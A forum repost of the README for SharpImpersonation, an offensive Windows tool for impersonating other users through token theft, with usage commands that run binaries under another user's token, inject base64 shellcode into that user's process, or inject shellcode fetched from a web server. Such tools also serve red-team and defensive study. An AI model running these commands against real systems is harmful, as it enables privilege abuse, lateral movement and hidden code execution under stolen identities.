# SharpImpersonation | A User Impersonation Tool – Via Token Or Shellcode Injection

**URL:** <https://onehack.st/t/sharpimpersonation-a-user-impersonation-tool-via-token-or-shellcode-injection/224131>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking, tips-tricks\
**Created:** [September 20, 2022, 7:59pm UTC](https://onehack.st/t/sharpimpersonation-a-user-impersonation-tool-via-token-or-shellcode-injection/224131 "2022-09-20T19:59:45Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\
**Post date:** [September 20, 2022, 7:59pm UTC](https://onehack.st/t/sharpimpersonation-a-user-impersonation-tool-via-token-or-shellcode-injection/224131/1 "2022-09-20T19:59:45Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/6/2/62d4450cd4fefa6412a1c102caca00ce9d096682.png)

This was a learning by doing project from my side. Well known techniques are used to built _just_ another impersonation tool with some improvements in comparison to other public tools. The code base was taken from:

- [https://github.com/0xbadjuju/Tokenvator](https://github.com/0xbadjuju/Tokenvator)

A blog post for the intruduction can be found here:

- [https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/](https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/)

## List user processes

```auto
PS > PS C:\temp> SharpImpersonation.exe list

```

[![alt text](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/raw/main/Images/List.PNG?raw=true)](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/Images/List.PNG?raw=true)

## List only elevated processes

```auto
PS > PS C:\temp> SharpImpersonation.exe list elevated

```

## Impersonate the first process of the target user to start a new binary

```auto
PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

```

[![alt text](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/raw/main/Images/CreateProcessWithTokenW.PNG?raw=true)](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/Images/CreateProcessWithTokenW.PNG?raw=true)

## Inject base64 encoded shellcode into the first process of the target user

```auto
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

```

[![alt text](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/raw/main/Images/ShellcodeBase64.PNG?raw=true)](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/Images/ShellcodeBase64.PNG?raw=true)

## Inject shellcode loaded from a webserver into the first process of the target user

```auto
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

```

[![alt text](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/raw/main/Images/ShellcodeWebDownload.PNG?raw=true)](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/Images/ShellcodeWebDownload.PNG?raw=true)

## Impersonate the target user via ImpersonateLoggedOnuser for the current session

```auto
PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

```

[![alt text](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/raw/main/Images/ImpersonateLoggedOnUser.png?raw=true)](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/Images/ImpersonateLoggedOnUser.png?raw=true)

## GitHub:

> **[GitHub - S3cur3Th1sSh1t/SharpImpersonation: A User Impersonation tool - via Token or Shellcode...](https://github.com/S3cur3Th1sSh1t/SharpImpersonation)**
>
> A User Impersonation tool - via Token or Shellcode injection